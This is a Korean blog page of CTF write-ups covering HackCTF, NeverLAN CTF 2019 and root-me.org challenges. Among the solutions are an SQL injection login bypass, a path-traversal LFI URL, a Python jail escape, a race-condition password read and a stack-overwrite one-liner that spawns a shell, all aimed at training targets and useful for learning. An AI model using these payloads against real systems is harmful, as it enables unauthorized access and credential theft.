반응형
반응형
반응형

카토 이미지 보고싶다.

200

[문제 설명] 변태 C#
[출제자] 황수민(Xixon)

 

 

exe파일이 하나 주어진다.

Exeinfo PE로 분석해보면 .NET으로 작성된 프로그램임을 알 수 있다.

 

 

dotPeek로 열었다.

업로드 할 파일명이 kato_megumi 이어야 하는 것 같다.

 

 

빈파일 하나 만들어서 이름을 kato_megumi 으로 하고 업로드를 하니 플래그가 나왔다.

 

 

 

 

No_Reverse_No_Life

200

[문제 설명] 허허 풀어 보랑께 노겜노라 시리즈의 시작!!
[출제자] 황수민

 

 

?

반응형
반응형

Welcome_Forensics

50

 

이미지 우클릭하고 새 탭에서 보기를 하면 플래그를 확인할 수 있다.

 

 

 

Question?

100

 

압축을 풀면 나오는 파일 이름이 Do_you_know_HxD 이다.

HxD로 깠는데, 앞 뒤에 플래그가 없었다.

그래서 다른 삽질을 하려다가 Hack을 검색해보니 플래그가 숨어있었다.

 

flag : HackCTF{P1e45e_find_m3}

 

 

 

So easy?

100

 

문제파일 이미지를 보면, 러시아 전통 인형이다. 파일안에 파일이 숨어있다는 뜻.

일단 hxd로 까봤는데 뒤에 플래그가 있어서 당황스러웠으나... 가짜 플래그다.

so easy? 그건 fake야.

 

PK가 있으므로 zip파일이 있음을 알 수 있다. 직접 추출하기 귀찮아서 foremost 이용해서 추출했다.

zip파일 하나 안에 txt파일이 하나 있고, 거기에 플래그가 있다.

FLAG : HackCTF{M4try0shka_do11}

 

 

 

Secret Document

150

 

와 기밀문서!

플래그 파일은 암호가 걸려있다.

 

힌트파일을 보자.

hint1 : Brute-Force NOOOOOOOOOOOO!

hint2 : Do you think the password exists?

 

암호화는 fake라는 소리다. 실제로 암호는 안걸려있는데 걸려있는 것처럼 위장한 것이다. hxd를 이용해 해당 헤더를 조작해주면 된다.

 

다른 파일의 flag bit가 00 08 인데 flag.txt의 flag bit는 09 08이다. 09 08을 00 08로 바꿔주면 flag.txt가 열린다.

 

 

 

세상에서 잊혀진 날 찾아줘!

150

 

flag == Ctrl+a & Ctrl+c & Ctrl+v

pdf열고 위 동작을 해보면 이미지 위에 안보이는 텍스트들이 있음을 알 수 있다.

 

 

 

나는 해귀다

150

 

이미지 보면 hex값을 뒤집어 놓았다고 했다.

정말이다.

다시 뒤집자.

 

< waytogo.png xxd -p -c1 | tac | xxd -p -r > file.png

 

이미지에 나와있는 플래그도 뒤집혀 있다.

 

 

Magic PNG

150

 

일단 png 파일임을 인식을 못한다. 왜 그런가 알기위해 hxd로 까보았다.

 

파일 시그니처가 맞지 않다.

PNG 시그니처는  89 50 4E 47 0D 0A 1A 0A 이다. 맞게 수정해주자.

 

수정하고 나면, 이미지가 위에서 나오다가 잘려버린다.

 

원인은 TweakPNG에서 찾을 수 있었다.

청크 중간에 IDAT이 아닌 idat이 있다.

HxD를 이용해서 idat부분을 IDAT으로 수정해주면 완벽한 이미지와 함께 플래그가 나오게 된다.

 

 

Terrorist

200

당신은 현장을 수사하여 범행과 관련된 단서를 찾았다!
단서를 분석하여 다음 범행장소를 알아내야한다.
플래그 포맷은 HackCTF{범행장소}로 적어야 한다.

 

파일이 하나 주어지는데 mp4 파일이다.

재생시켜보면 역재생된 말소리가 들린다.

동영상편집프로그램 같은거 사용해서 다시 역재생하면 된다.

 

잔상

250

 

용량이 같은 파일 2개가 주어진다.

 

oct to ascii

 

 

Let'S get it ! Boo*4

350

 

0xCDA90xBD840xD7880d.8AC000H.8CE580xC7880xB2940xC8740xC7AC0v.8C57C

아 앞에 B10C 빼먹었넹

 

끝.

반응형

'WAR GAME > HackCTF' 카테고리의 다른 글

HackCTF Reversing 카테고리 풀이  (0) 2019.08.29
HackCTF Pwnable [Basic_BOF #1] 풀이  (0) 2019.07.24
HackCTF Cryptography 카테고리 풀이  (2) 2019.07.18
HackCTF MISC 카테고리 풀이  (0) 2019.07.18
HackCTF Web 카테고리 풀이  (0) 2019.07.18
반응형

Baseball Price 50

EZ

 

BF 50

-[------->+<]>-.[--->++++<]>+.++.++++++++.[->+++<]>++.>-[--->+<]>-.[----->+<]>++.>--[-->+++++<]>.-[-->+++++<]>.----------.---[->+++<]>+.--------------.[--->+<]>-.------------.[-->+<]>---.-[----->+<]>--.---.-[-->+<]>----.-[----->+<]>--.[-->+<]>-.------[->++<]>-.-[->++++++<]>.---[->++<]>.[-->+<]>-.+[--->++<]>-.-.+[->+++<]>.[--->+<]>-.------------.[-->+<]>-.---[->++<]>-.[--->+<]>+.-.---------.++.[-->+<]>----.++++++[->++<]>.[-->+<]>-----.---[->++<]>.[-->+<]>.+++++[->++<]>.[-->+<]>-----.[--->++<]>--.+++++.[->+++++<]>++.-[->++++++<]>.+++[->++<]>.[-->+<]>---.++[->++<]>.-[--->+<]>.-[++>---<]>+.----.++++.-----[->++<]>-.---[->++++<]>.++.--[->+++++<]>.+++++[->++<]>.[-->+<]>--.-[->++<]>-.-[--->+<]>--.+++++++++.

brainfuck이다.

 

HackCTF{1'm_th1nk1n6_4b0ut_th3_vuln3r4b1l1ty_4n4ly515_pr0j3ct}

 

 

Who am I?

답 : ret

 

 

QRCODE

150

 

4개의 사각형 내부가 하얀색으로 비워져 있다. 그림판으로 해당 부분을 검정으로 채우고 읽으면 된다.

 

 

 

 

달라란 침공

150

nc ctf.j0n9hyun.xyz 9003

 

 

 

1, 2, 3 모두 계산해야 되는 식들이 나온다.

식의 결과값을 입력해주면 된다.

1은 20개 2는 30개 3은 40개의 문제가 있다.

 

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 9003)
p.recvuntil("input ) ")
p.sendline("1")
p.recvline()
for zzzz in range(0,20):
    m = p.recvline()
    m = m.replace("\n", "")
    print(m)
    a = eval(m)
    p.recvuntil(": ")
    p.sendline(str(a))
    print(p.recvline())
    print(p.recvline())

p.recvuntil("input ) ")
p.sendline("2")
p.recvline()
for zzzz in range(0,30):
    m = p.recvline()
    m = m.replace("\n", "")
    print(m)
    a = eval(m)
    p.recvuntil(": ")
    p.sendline(str(a))
    print(p.recvline())
    print(p.recvline())

p.recvuntil("input ) ")
p.sendline("3")
p.recvline()
for zzzz in range(0,40):
    m = p.recvline()
    m = m.replace("\n", "")
    print(m)
    a = eval(m)
    p.recvuntil(": ")
    p.sendline(str(a))
    print(p.recvline())
    print(p.recvline())
p.interactive()

 

DNA

200

GTCATAATGCCGGGACTTGGT{ACATTC_CAGAAAAAAATT_GGCTATTCT}

 

 

구글에 ctf dna cryptography 라고 검색을 했다.

 

https://embeddedworld.home.blog/2019/05/16/hacking-walkthrough-ctf-challenge/

이 블로그에서 dna cryptography 부분을 보면 된다.

 

이 블로그에 나와있는 소스코드를 가져다 돌렸다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
mappings = {
    'AAA' : 'a',
    'AAC' : 'b',
    'AAG' : 'c',
    'AAT' : 'd',
    'ACA' : 'e',
    'ACC' : 'f',
    'ACG' : 'g',
    'ACT' : 'h',
    'AGA' : 'i',
    'AGC' : 'j',
    'AGG' : 'k',
    'AGT' : 'l',
    'ATA' : 'm',
    'ATC' : 'n',
    'ATG' : 'o',
    'ATT' : 'p',
    'CAA' : 'q',
    'CAC' : 'r',
    'CAG' : 's',
    'CAT' : 't',
    'CCA' : 'u',
    'CCC' : 'v',
    'CCG' : 'w',
    'CCT' : 'x',
    'CGA' : 'y',
    'CGC' : 'z',
    'CGG' : 'A',
    'CGT' : 'B',
    'CTA' : 'C',
    'CTC' : 'D',
    'CTG' : 'E',
    'CTT' : 'F',
    'GAA' : 'G',
    'GAC' : 'H',
    'GAG' : 'I',
    'GAT' : 'J',
    'GCA' : 'K',
    'GCC' : 'L',
    'GCG' : 'M',
    'GCT' : 'N',
    'GGA' : 'O',
    'GGC' : 'P',
    'GGG' : 'Q',
    'GGT' : 'R',
    'GTA' : 'S',
    'GTC' : 'T',
    'GTG' : 'U',
    'GTT' : 'V',
    'TAA' : 'W',
    'TAC' : 'X',
    'TAG' : 'Y',
    'TAT' : 'Z',
    'TCA' : '1',
    'TCC' : '2',
    'TCG' : '3',
    'TCT' : '4',
    'TGA' : '5',
    'TGC' : '6',
    'TGG' : '7',
    'TGT' : '8',
    'TTA' : '9',
    'TTC' : '0',
    'TTG' : ' ',
    'TTT' : '.'
    }
 
= "GTCATAATGCCGGGACTTGGTACATTCCAGAAAAAAATTGGCTATTCT"
flag = []
 
#Mapping
for x in range(0,len(f),3):
    piece = f[x:x+3]
    flag.append(mappings[piece])
 
print (''.join(flag))
 
cs

 

나온 결과 : TmowOFRe0saapPZ4

{, _, } 을 다시 붙여준다.

 

TmowOFR{e0_saap_PZ4}

플래그 형식 HackCTF와 대소문자 형태는 같다.

caesar를 돌리면 플래그가 나온다.

 

탈옥

250

nc ctf.j0n9hyun.xyz 9002

 

 

builtins 모듈에서 import를 가져오고 os모듈을 import해서 os모듈의 system함수를 가져와 실행한다.

import와 system은 .lower()로 우회

반응형
반응형

NeverLAN CTF 2019 


write up by M4ndU





Trivia


SQL Trivia 1

20

The oldest SQL Injection Vulnerability. The flag is the vulnerability ID.


flag : CVE-2000-1233




SQL Trivia 2

20

In MSSQL Injection Whats the query to see what version it is?


flag : SELECT @@version




Sea Quail

20

A domain-specific language used in programming and designed for managing data held in a relational database management system, or for stream processing in a relational data stream management system.


flag : SQL




64 Characters

20

A group of similar binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation.


flag : base64




With Some Milk

20

A small piece of data sent from a website and stored on the user's computer by the user's web browser while the user is browsing.


flag : cookie



Beep Boop

20

A standard used by websites to communicate with web crawlers and other web robots. The standard specifies how to inform the web robot about which areas of the website should not be processed or scanned


flag : robots.txt




Recon


Unexpected intruder

50

occurring in Chicago, Illinois, United States, on the evening of November 22. There was an interruption like nothing we had ever seen before.

What was the name of the Intruder?


flag : maxheadroom




Crypto


Alphabet Soup

125

MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA



처음에 카이사르로 돌려봤는데 나오질 않아서 치환암호인것 같았다.


https://quipqiup.com/ 자동으로 치환암호를 풀어주는 이 사이트에 clue 없이 돌린다음에 WAFI=FLAG 라는 clue를 넣어주어 완벽한 해독문을 얻을 수 있었다.


flag : DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL





scripting/coding


WebCipher

300

To verify that only computers can access the website, you must reverse the Caesar cipher There are a list of possible words that the cipher may be here

https://challenges.neverlanctf.com:1160


이게 왜 여기있고, 왜 300점이나 되는지 모르겠는 이상한 문제




페이지에 접속하면 문자열 하나와 입력폼 하나가 있다.


문자열을 카이사르로 돌리면 accelerator 가 나오는데 이를 입력해주면 플래그가 나온다.





사람이 푸는게 아니라 코드를 짜서 풀어야 하는 문제인건가...?




Binary


Binary 2

200

Our lead Software Engineer recently left and deleted all the source code and changed the login information for our employee payroll application. Without the login information none of our employees will be paid. Can you help us by finding the login information?

***Flag is all caps




.net이다. dotpeek으로 까보면 된다.






바로 flag를 확인할 수 있다. 하나하나 디코딩하기는 귀찮으니 나와있는 id와 pw을 입력해 flag를 출력하게 하면 된다.





flag : flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}





Web


Cookie Monster

20

It's a classic https://challenges.neverlanctf.com:1110



페이지에 들어가면 He's my favorite Red guy 라고 하는데 쿠키몬스터에서 red guy의 이름은 Elmo다. 쿠키값에 그의 이름을 적는 쿠키가 있다. Elmo 를 적어주고 새로고침하면 플래그가 나온다.


flag : flag{YummyC00k13s}




Things are not always what they seem

50

if you can't find it you're not looking hard enough

https://challenges.neverlanctf.com:1165/hello.html


페이지 소스보면 있다. 정확히는 글씨가 하얀색으로 되어 있어서 페이지에서는 안보이는 것이다. 드래그하거나 컨트롤+a 를 하면 볼 수 있다.


flag : flag{Whale_w0u1d_y0u_l00k3y_th3r3}




SQL Fun 1

75

REPORT: 'My Customer forgot his Password. His Fname is Jimmy. Can you get his password for me? It should be in the users table'

https://challenges.neverlanctf.com:1150


SELECT * FROM users WHERE Fname = 'Jimmy'


flag : flag{SQL_F0r_Th3_W1n}




SQL Fun 2

75

REPORT: A Client forgot his Password... again. Could you get it for me? He has a users account and his Lname is Miller if that helps at all. Oh! and Ken was saying something about a new table called passwd; said it was better to separate things

https://challenges.neverlanctf.com:1155


SELECT * FROM users;


idUsernameFnameLnameEmail
1JohnJohnHancockWhyDoYouWantMy@email.com
2JimWillJimmyWillmanSQL@example.com
3CaptinJacksparrowpirates@carribean.com
4N30ZaneDurkininfo@neverlanctf.com
5DisUserTomMillerMiller@example.com


Lname이 Miller인 계정의 아이디는 5다.



SELECT * FROM passwd;


iduser_idPassword
11Tm9wZS4uLiBXcm9uZyB1c2Vy
25ZmxhZ3tXMWxsX1kwdV9KMDFOX00zP30=
32Tm9wZS4uLiBXcm9uZyB1c2Vy
43Tm9wZS4uLiBXcm9uZyB1c2Vy
54Tm9wZS4uLiBXcm9uZyB1c2Vy


user_id의 password를 base64 디코딩하면 플래그가 나온다.


flag : flag{W1ll_Y0u_J01N_M3?}




Console

75

You control the browser

https://challenges.neverlanctf.com:1120



조건이 성립했을 때 일어나는 명령어를 크롬 콘솔창에 입력했다 :


$.ajax({

                        type: 'GET',

                        url: '1/key.php',

                        success: function (file_html) {

                            // success

                           foo.innerHTML=(file_html)

                        }

})


그러면 응답 메세지 중에 플래그가 있다.


flag : flag{console_controls_js}

반응형

'CTF Write Up' 카테고리의 다른 글

TAMU CTF 2019 wirte up  (0) 2019.03.04
제 1회 TRUST CTF write up  (0) 2019.02.18
2019 NEWSECU CTF Write-Up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
반응형

root-me.org [NETWORK] 풀이


FTP - authentication


패킷 분석











TELNET - authentication


패킷분석 2









ETHERNET - frame


hex2ascii

base64 decode







Twitter authentication


패킷 분석

base64 decode






CISCO - password



password 7 해독 툴을 사용하면 패스워드 형식이 6sK0_아이디 임을 알 수 있다.


그럼 아이디가 Enable인 패스워드도 구할 수 있다.






DNS - zone transfert


dig @challenge01.root-me.org -p 54011 ch11.challenge01.root-me.org TXT





IP - Time To Live


타겟 호스트에 도달하는데 사용된 ttl값 : 13





SIP - authentication


1234

....


반응형
반응형

root-me.org [CRACKING]

ELF - 0 protection 풀이


IDA로 까보면 된다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // ST1C_4@1
  char *s1; // [sp+1Ch] [bp-Ch]@0
 
  puts("############################################################");
  puts("##        Bienvennue dans ce challenge de cracking        ##");
  puts("############################################################\n");
  printf("Veuillez entrer le mot de passe : ");
  v3 = (char *)getString(s1);
  if ( !strcmp(v3, "123456789") )
    printf("Bien joue, vous pouvez valider l'epreuve avec le pass : %s!\n""123456789");
  else
    puts("Dommage, essaye encore une fois.");
  return 0;
}
cs







ELF - x86 Basic


얘도 ida로 까보면 된다.






PE - 0 protection




얘도 아이다로 까서 문자열들을 찾은 뒤, 패스워드 검증 함수를 찾을 수 있다.



a2은 글자수, a1은 각 자리 문자값으로 보인다. dec2ascii





PE DotNet - 0 protection



JetBrains dotPeek 으로 열면 된다.






반응형
반응형

root-me.org [WEB - SERVER] 풀이


HTML


소스보자




Weak password


...

...

admin/admin 하니까 됐다...




HTTP directory indexing


소스에 admin/pass.html이 적혀있다.

admin/에서 디렉토리 인덱싱이 된다.

http://challenge01.root-me.org/web-serveur/ch4/admin/backup/admin.txt






HTTP cookies



Saved email adresses 가 있다. 클릭하면 어드민이 아니라고 하는데, ch7이름의 쿠키가 생성된다.
admin으로 입력해주면 된다.




Local File Inclusion


http://challenge01.root-me.org/web-serveur/ch16/?files=/../admin&f=index.php

이렇게 소스를 볼 수 있다.


?files=admin&f=index.php
처음에 이렇게 시도 했었는데 이렇게는 안된다. 왤까...




SQL injection - authentication


id = admin'--
pw = hi (아무거나 입력해주면 됨)

이걸로 성공했다. 패스워드가 점으로 표시되는데, 페이지 소스보기로 암호를 확인할 수 있다.








반응형
반응형

root-me.org [APP - SYSTEM]


ELF x86 - Race condition 풀이







문제 소스 :


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <string.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
 
#define PASSWORD "/challenge/app-systeme/ch12/.passwd"
#define TMP_FILE "/tmp/tmp_file.txt"
 
int main(void)
{
  int fd_tmp, fd_rd;
  char ch;
 
 
  if (ptrace(PTRACE_TRACEME, 010< 0)
    {
      printf("[-] Don't use a debugguer !\n");
      abort();
    }
  if((fd_tmp = open(TMP_FILE, O_WRONLY | O_CREAT, 0444)) == -1)
    {
      perror("[-] Can't create tmp file ");
      goto end;
    }
   
  if((fd_rd = open(PASSWORD, O_RDONLY)) == -1)
    {
      perror("[-] Can't open file ");
      goto end;
    }
   
  while(read(fd_rd, &ch, 1== 1)
    {
      write(fd_tmp, &ch, 1);
    }
  close(fd_rd);
  close(fd_tmp);
  usleep(250000);
end:
  unlink(TMP_FILE);
   
  return 0;
}
cs



임시 파일에다가 패스워드를 저장해주는데, 임시 파일을 미리 만들어 두면 프로그램이 종료되도 사라지지 않고 남아 있는 것을 이용한다.


/tmp/tmp_file.txt를 만들어 두고, 권한설정을 한다. chmod 777 tmp_file.txt


프로그램 실행 ./ch12


그 뒤에 tmp_file.txt를 보면, 패스워드가 적혀있음을 확인할 수 있다.


반응형
반응형


HTML - disabled buttons


버튼이 눌리지 않는다.

f12로 페이지 소스를 본 다음, 


<input disabled="" type="submit" value="Member access" name="authbutton">


이걸


<input type="submit" value="Member access" name="authbutton">


이렇게 하면 버튼이 활성화된다.




Javascript - Authentication



페이지 소스를 보면, 사이트가 login.js에서 로그인을 처리하는 것을 알 수 있다.

login.js의 소스를 보면 아이디와 패스워드를 확인할 수 있다.




Javascript - Source



페이지 소스에서 스크립트 부분을 보면 된다.




Javascript - Authentication 2



login.js를 보면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function connexion(){
    var username = prompt("Username :", "");
    var password = prompt("Password :", "");
    var TheLists = ["GOD:HIDDEN"];
    for (i = 0; i < TheLists.length; i++)
    {
        if (TheLists[i].indexOf(username) == 0)
        {
            var TheSplit = TheLists[i].split(":");
            var TheUsername = TheSplit[0];
            var ThePassword = TheSplit[1];
            if (username == TheUsername && password == ThePassword)
            {
                alert("Vous pouvez utiliser ce mot de passe pour valider ce challenge (en majuscules) / You can use this password to validate this challenge (uppercase)");
            }
        }
        else
        {
            alert("Nope, you're a naughty hacker.")
        }
    }
}
cs

username은 GOD, password는 HIDDEN




Javascript - Obfuscation 1


1
2
3
4
5
6
7
8
9
10
11
12
13
 
              /* <![CDATA[ */
 
              pass = '%63%70%61%73%62%69%65%6e%64%75%72%70%61%73%73%77%6f%72%64';
              h = window.prompt('Entrez le mot de passe / Enter password');
              if(h == unescape(pass)) {
                  alert('Password accepté, vous pouvez valider le challenge avec ce mot de passe.\nYou an validate the challenge using this pass.');
              } else {
                  alert('Mauvais mot de passe / wrong password');
              }
 
              /* ]]> */
          
cs

페이지 소스에 있는 스크립트를 보면, pass의 값을 디코딩한 값이 패스워드가 된다.





Javascript - Obfuscation 2


빈 페이지인데 소스를 보면 스크립트에 변수 pass가 정의되어 있다.

1
var pass = unescape("unescape%28%22String.fromCharCode%2528104%252C68%252C117%252C102%252C106%252C100%252C107%252C105%252C49%252C53%252C54%2529%22%29");
cs



크롬의 콘솔을 이용해 구해주면 된다. use chrome console






Javascript - Native code



É=-~-~[],ó=-~É,Ë=É<<É,þ=Ë+~[];Ì=(ó-ó)[Û=(''+{})[É+ó]+(''+{})[ó-É]+([].ó+'')[ó-É]+(!!''+'')[ó]+({}+'')[ó+ó]+(!''+'')[ó-É]+(!''+'')[É]+(''+{})[É+ó]+({}+'')[ó+ó]+(''+{})[ó-É]+(!''+'')[ó-É]][Û];Ì(Ì((!''+'')[ó-É]+(!''+'')[ó]+(!''+'')[ó-ó]+(!''+'')[É]+((!''+''))[ó-É]+([].$+'')[ó-É]+'\''+''+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó-ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(ó+ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+É)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(É+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(þ)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó+ó)+(ó-É)+'\\'+(ó+ó)+(É)+'\\'+(ó+ó)+(ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\'')())()


난독화된 js 코드가 있다.


크롬 콘솔을 이용하자. 끝에 ()를 지워주고 .toString()을 사용하면 복호화된 코드를 얻을 수 있다.




Javascript - Obfuscation 3


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function dechiffre(pass_enc) {
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab = pass_enc.split(',');
    var tab2 = pass.split(',');
    var i, j, k, l = 0,
        m, n, o, p = "";
    i = 0;
    j = tab.length;
    k = j + (l) + (n = 0);
    n = tab2.length;
    for (i = (o = 0); i < (k = j = n); i++) {
        o = tab[i - l];
        p += String.fromCharCode((o = tab2[i]));
        if (i == 5break;
    }
    for (i = (o = 0); i < (k = j = n); i++) {
        o = tab[i - l];
        if (i > 5 && i < k - 1)
            p += String.fromCharCode((o = tab2[i]));
    }
    p += String.fromCharCode(tab2[17]);
    pass = p;
    return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
 
= window.prompt('Entrez le mot de passe / Enter password');
alert(dechiffre(h));
cs


뭘 입력해도 가짜 패스워드만 나온다...


25행에 있는 헥스값을 아스키로 바꿔서 인증했더니 됐다. 뭐지





XSS - Stored 1



xss 공격이 가능하다. xss를 이용해서 쿠키값을 탈취하면 된다.






Flash - Authentication



소스보기를 통해 플래시 파일 주소를 알아낸다.


http://challenge01.root-me.org/web-client/ch20/RootMe.swf


다운받는다.


플래시 디컴파일러 툴을 이용해 소스를 보면 된다.


모르겠다.












반응형
반응형

root-me.org [APP - SYSTEM] 

ELF x86 - Format string bug basic 3 풀이



문제 소스 :


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/*
 
gcc -m32 -o ch16 ch16.c
 
*/
 
 
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
 
void shell(void);
 
int main()
{
 
  char buffer[64];
  int check;
  int i = 0;
  int count = 0;
 
  printf("Enter your name: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 64)
        printf("Oh no...Sorry !\n");
      if(check == 0xbffffabc)
        shell();
      else
        {
            read(fileno(stdin),&i,1);
            switch(i)
            {
                case '\n':
                  printf("\a");
                  break;
                case 0x08:
                  count--;
                  printf("\b");
                  break;
                case 0x04:
                  printf("\t");
                  count++;
                  break;
                case 0x90:
                  printf("\a");
                  count++;
                  break;
                default:
                  buffer[count] = i;
                  count++;
                  break;
            }
        }
    }
}
 
void shell(void)
{
  system("/bin/dash");
}
cs




40행의 count--;을 이용해서 -4까지 땡긴 후 0xbffffabc를 넣어주면 된다.


 check[0]  check[1]   check[2]  check[3] 

buffer[-4] buffer[-3] buffer[-2] buffer[-1] buffer[0] buffer[1] ....



exploit

(python -c 'print "\x08"*4+"\xbc\xfa\xff\xbf"'; cat) | ./ch16

반응형

+ Recent posts